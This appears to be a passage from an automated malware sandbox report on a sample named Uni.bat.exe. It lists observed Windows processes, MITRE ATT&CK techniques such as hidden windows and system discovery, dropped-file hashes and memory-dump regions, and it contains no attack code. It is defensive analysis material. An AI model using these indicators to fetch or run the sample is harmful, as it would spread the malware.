C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4488

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4388

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4132

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:2548

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:5844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gkd1c2qx.gpj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\ucrtbased.dll

Filesize
1.8MB

MD5
7873612dddd9152d70d892427bc45ef0

SHA1
ab9079a43a784471ca31c4f0a34b698d99334dfa

SHA256
203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf

SHA512
d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083

Download Submit
C:\Windows\System32\vcruntime140_1d.dll

Filesize
52KB

MD5
9ef28981adcbf4360de5f11b8f4ecff9

SHA1
219aaa1a617b1dfa36f3928bd1020e410666134f

SHA256
8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a

SHA512
ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c

Download Submit
C:\Windows\System32\vcruntime140d.dll

Filesize
162KB

MD5
a366d6623c14c377c682d6b5451575e6

SHA1
a8894fcfb3aa06ad073b1f581b2e749b54827971

SHA256
7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6

SHA512
cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11

Download Submit
memory/316-208-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/316-207-0x00000276228C0000-0x00000276228E7000-memory.dmp

Filesize
156KB

Download
memory/508-214-0x000001D6E9380000-0x000001D6E93A7000-memory.dmp

Filesize
156KB

Download
memory/508-215-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/612-199-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/612-197-0x000001C8A40E0000-0x000001C8A4101000-memory.dmp

Filesize
132KB

Download
memory/612-198-0x000001C8A4110000-0x000001C8A4137000-memory.dmp

Filesize
156KB

Download
memory/668-203-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/668-202-0x000001B990470000-0x000001B990497000-memory.dmp

Filesize
156KB

Download
memory/952-219-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/952-218-0x000002BB13EA0000-0x000002BB13EC7000-memory.dmp

Filesize
156KB

Download
memory/956-211-0x000001FD0DBD0000-0x000001FD0DBF7000-memory.dmp

Filesize
156KB

Download
memory/956-212-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/1064-226-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/1064-225-0x000001F290460000-0x000001F290487000-memory.dmp

Filesize
156KB

Download
memory/1084-228-0x0000019393660000-0x0000019393687000-memory.dmp

Filesize
156KB

Download
memory/1084-229-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/1176-232-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/1176-231-0x00000245DDA90000-0x00000245DDAB7000-memory.dmp

Filesize
156KB

Download
memory/1208-235-0x00007FFD133F0000-0x00007FFD13400000-memory.dmp

Filesize
64KB

Download
memory/1208-234-0x000002191C090000-0x000002191C0B7000-memory.dmp

Filesize
156KB

Download
memory/1244-238-0x000001AAE1F40000-0x000001AAE1F67000-memory.dmp

Filesize
156KB

Download
memory/1520-178-0x0000023C47220000-0x0000023C4724E000-memory.dmp

Filesize
184KB

Download
memory/1520-45-0x00007FFD347A3000-0x00007FFD347A5000-memory.dmp

Filesize
8KB

Download
memory/1520-167-0x0000023C47380000-0x0000023C47432000-memory.dmp

Filesize
712KB

Download
memory/1520-168-0x0000023C47610000-0x0000023C477D2000-memory.dmp

Filesize
1.8MB

Download
memory/1520-179-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

Filesize
2.0MB

Download
memory/1520-63-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

Filesize
2.0MB

Download
memory/1520-491-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/1520-486-0x00007FFD347A3000-0x00007FFD347A5000-memory.dmp

Filesize
8KB

Download
memory/1520-485-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/1520-166-0x0000023C47270000-0x0000023C472C0000-memory.dmp

Filesize
320KB

Download
memory/1520-64-0x00007FFD51610000-0x00007FFD516CE000-memory.dmp

Filesize
760KB

Download
memory/1520-60-0x00007FFD51610000-0x00007FFD516CE000-memory.dmp

Filesize
760KB

Download
memory/1520-59-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

Filesize
2.0MB

Download
memory/1520-58-0x0000023C45AC0000-0x0000023C4637E000-memory.dmp

Filesize
8.7MB

Download
memory/1520-57-0x0000023C45660000-0x0000023C45AC0000-memory.dmp

Filesize
4.4MB

Download
memory/1520-56-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/1520-51-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/2420-18-0x00007FFD347A3000-0x00007FFD347A5000-memory.dmp

Filesize
8KB

Download
memory/2420-22-0x00000194F5790000-0x00000194F5B20000-memory.dmp

Filesize
3.6MB

Download
memory/2420-14-0x00000194E9FE0000-0x00000194EA002000-memory.dmp

Filesize
136KB

Download
memory/2420-28-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

Filesize
2.0MB

Download
memory/2420-27-0x00000194D1D80000-0x00000194D1D8A000-memory.dmp

Filesize
40KB

Download
memory/2420-26-0x00007FFD51610000-0x00007FFD516CE000-memory.dmp

Filesize
760KB

Download
memory/2420-24-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

Filesize
2.0MB

Download
memory/2420-25-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/2420-23-0x00000194F5B20000-0x00000194F5B78000-memory.dmp

Filesize
352KB

Download
memory/2420-4-0x00007FFD347A3000-0x00007FFD347A5000-memory.dmp

Filesize
8KB

Download
memory/2420-20-0x00000194F4650000-0x00000194F5794000-memory.dmp

Filesize
17.3MB

Download
memory/2420-1029-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/2420-19-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/2420-17-0x00000194D1D70000-0x00000194D1D7A000-memory.dmp

Filesize
40KB

Download
memory/2420-16-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/2420-15-0x00007FFD347A0000-0x00007FFD35261000-memory.dmp

Filesize
10.8MB

Download
memory/3936-30-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/3936-32-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4900-184-0x00007FFD51610000-0x00007FFD516CE000-memory.dmp

Filesize
760KB

Download
memory/4900-182-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4900-183-0x00007FFD53370000-0x00007FFD53565000-memory.dmp

Filesize
2.0MB

Download
memory/4900-181-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/4900-194-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download